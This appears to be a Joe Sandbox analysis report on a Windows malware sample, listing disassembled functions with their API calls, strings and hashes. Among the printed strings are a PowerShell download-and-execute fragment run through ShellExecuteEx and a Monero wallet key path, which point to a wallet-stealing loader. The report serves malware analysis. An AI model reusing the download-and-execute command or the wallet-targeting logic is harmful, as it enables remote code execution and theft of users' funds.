Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: ab3af2797519bf53bdce18ad1d678cc985f17d04c0ec953636f3428ada1f4a63
Instruction ID: 0f6a2d75102a596dbebcff11b4c1586a78c404b8229c287fed79e271bb69bf0c
Opcode Fuzzy Hash: ab3af2797519bf53bdce18ad1d678cc985f17d04c0ec953636f3428ada1f4a63
Instruction Fuzzy Hash: 2601A2B5E00308BFDB14DBE0EC4AFAEB7B8EF48701F004069FA15A7284DAB05A408B50

Function 00ED92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:,80000000,00000003,00000000,00000003,00000080,00000000,?,00ED3AEE,?), ref: 00ED92FC
GetFileSizeEx.KERNEL32(000000FF,:), ref: 00ED9319
CloseHandle.KERNEL32(000000FF), ref: 00ED9327

Strings

:, xrefs: 00ED92F8, 00ED92FB
:, xrefs: 00ED9311, 00ED933D, 00ED9314

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :$:
API String ID: 1378416451-4250114551
Opcode ID: 77c3470e8d95865ed2d1273b42ba8f402b942f714604464f4f0f141bfa4e0e62
Instruction ID: 99b3ab7073d0ad9bd7a3480797bce46b3916cf0ec6737862596f18d87c9d5eef
Opcode Fuzzy Hash: 77c3470e8d95865ed2d1273b42ba8f402b942f714604464f4f0f141bfa4e0e62
Instruction Fuzzy Hash: 6DF04F35E40308BBDB28DFB0EC49F9E77B9EB48710F10C264B661B72C4D6B196418B40

Function 00ED40B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00ED40D5
RegOpenKeyExA.ADVAPI32(80000001,01B8D178,00000000,00020119,?), ref: 00ED40F4
RegQueryValueExA.ADVAPI32(?,01B8DEC0,00000000,00000000,00000000,000000FF), ref: 00ED4118
RegCloseKey.ADVAPI32(?), ref: 00ED4122
lstrcat.KERNEL32(?,00000000), ref: 00ED4147
lstrcat.KERNEL32(?,01B8DED8), ref: 00ED415B

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: a046fdb63e412b8f0fbe5af9f619a59d11eb4fc045440a6fc354d0479dbc0340
Instruction ID: 4653ba3682d7714859aa34de1a53eb740e2d19298504ee33e7183627950c4efd
Opcode Fuzzy Hash: a046fdb63e412b8f0fbe5af9f619a59d11eb4fc045440a6fc354d0479dbc0340
Instruction Fuzzy Hash: BA419CB6D0020867DB29EBB0EC46FEE737DAB48300F00455DB62557185EAB59BC98BD1

Function 00EC99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: fbceede4ac0bdb590a548c82022359260f1ecd01f52aaab821974250b56f62ee
Instruction ID: 1446f85f935beb32de28f18bf6ff20a7cae8799242e9a3f85809e8b564603437
Opcode Fuzzy Hash: fbceede4ac0bdb590a548c82022359260f1ecd01f52aaab821974250b56f62ee
Instruction Fuzzy Hash: BF312A74E00209EFDB24CF94D989FAE77B5FF48304F108158E911A7290D775AA82CFA0

Function 00EDC84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00EDC8BF
___crtGetStringTypeA.LIBCMT ref: 00EDC8EC
___crtLCMapStringA.LIBCMT ref: 00EDC90C
___crtLCMapStringA.LIBCMT ref: 00EDC931

Strings

, xrefs: 00EDC896

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 83f94fe93a0d7c39309451bf3af869439ea25b337a05c21a6666be0f3d6a079c
Instruction ID: 11b5470fb903afb7653e5b11ed4185252c8e8553cd7635c96650bf05ff9893d4
Opcode Fuzzy Hash: 83f94fe93a0d7c39309451bf3af869439ea25b337a05c21a6666be0f3d6a079c
Instruction Fuzzy Hash: EB4159B110079C5EDB218B24CC94FFB7BE8DF45348F2454E9E58AA6282D2719A46DF60

Function 00ED4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,01B8DE30), ref: 00ED47DB

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED4801
lstrcat.KERNEL32(?,?), ref: 00ED4820
lstrcat.KERNEL32(?,?), ref: 00ED4834
lstrcat.KERNEL32(?,01B7B180), ref: 00ED4847
lstrcat.KERNEL32(?,?), ref: 00ED485B
lstrcat.KERNEL32(?,01B8D1B8), ref: 00ED486F

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00ED8D90: GetFileAttributesA.KERNEL32(00000000,?,00EC1B54,?,?,00EE564C,?,?,00EE0E1F), ref: 00ED8D9F

Part of subcall function 00ED4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00ED4580
Part of subcall function 00ED4570: RtlAllocateHeap.NTDLL(00000000), ref: 00ED4587
Part of subcall function 00ED4570: wsprintfA.USER32 ref: 00ED45A6
Part of subcall function 00ED4570: FindFirstFileA.KERNEL32(?,?), ref: 00ED45BD

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: ff8a8fae72074a3e8666bb188684ad795a7241183cb3d977d7c81218f52d11b2
Instruction ID: 3199a661e540aa8da9a41e30de25da32e67157bb77bd990dbbbbe35ce61993b4
Opcode Fuzzy Hash: ff8a8fae72074a3e8666bb188684ad795a7241183cb3d977d7c81218f52d11b2
Instruction Fuzzy Hash: 3E3182B690031857CB25F7A0DC85EED73BCBB58300F40559AB359A6181EEB0D7CACB91

Function 00ED2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

ShellExecuteEx.SHELL32(0000003C), ref: 00ED2D85

Strings

')", xrefs: 00ED2CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00ED2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00ED2D04
<, xrefs: 00ED2D39

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 0eb79d3f6723788b916a3843c3e357e7edb96dfe720696aadbb291452554af70
Instruction ID: 84b794e73488781468c7c111b019136475ef88fb40e4fed276abdbf3786c8887
Opcode Fuzzy Hash: 0eb79d3f6723788b916a3843c3e357e7edb96dfe720696aadbb291452554af70
Instruction Fuzzy Hash: 2841DC71C002489ADB18EBA0D895BEDB7B4EF10300F44512AE516B6291EF742B8BDF95

Function 00EC9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00EC9F41

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00EC9E67
@, xrefs: 00EC9EF1
v20, xrefs: 00EC9E21
v10, xrefs: 00EC9EA3

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 93928868f1223f6e304f471c784222154b2c263332997ac25147de153de83ca5
Instruction ID: d1d682f5925d946e74a7e09ffedef7e3b557c061b3043178f54d8d3cca7b3c77
Opcode Fuzzy Hash: 93928868f1223f6e304f471c784222154b2c263332997ac25147de153de83ca5
Instruction Fuzzy Hash: 4C615D31A1024C9BDB28EFA4CD96FED77B5EF40344F049129F90A6B281EB706B46CB51

Function 00ED70D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

memset.MSVCRT ref: 00ED716A

Strings

s, xrefs: 00ED72AE, 00ED7179, 00ED717C
s, xrefs: 00ED7111, 00ED7114
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00ED718C

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: s$s$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-3520659465
Opcode ID: 6a4e7c737c21ade7cb9c86056dabbf69a4b88ab28662c303b3adda59090390a9
Instruction ID: 083bd19b3aa168bc2d7e780ee945dd5c1bd8c9ce5fcecd7118a18bda8d3e2b37
Opcode Fuzzy Hash: 6a4e7c737c21ade7cb9c86056dabbf69a4b88ab28662c303b3adda59090390a9
Instruction Fuzzy Hash: 605180B0C042189FDB24EB90CD86BEEB3B4EF44304F1461AAE55576281EB746F8ACF54

Function 00ED6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00ED696C
sscanf.NTDLL ref: 00ED6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00ED69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00ED69C0
ExitProcess.KERNEL32 ref: 00ED69DA

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 9f8665494cc0dc38a0593c4f793506ed7956c79d4557125eb3b7ead11abe8e88
Instruction ID: ea42297eb98378be1c3b73732eb9733252b4062d175a8ae2cb366d377da38f83
Opcode Fuzzy Hash: 9f8665494cc0dc38a0593c4f793506ed7956c79d4557125eb3b7ead11abe8e88
Instruction Fuzzy Hash: 4221EB75D00208ABCF09EFE4E945AEEB7B9FF48300F04852AE416F3244EB745605CB69

Function 00ED7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00ED7E3E
RegOpenKeyExA.ADVAPI32(80000002,01B7BD20,00000000,00020119,?), ref: 00ED7E5E
RegQueryValueExA.ADVAPI32(?,01B8D098,00000000,00000000,000000FF,000000FF), ref: 00ED7E7F
RegCloseKey.ADVAPI32(?), ref: 00ED7E92

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
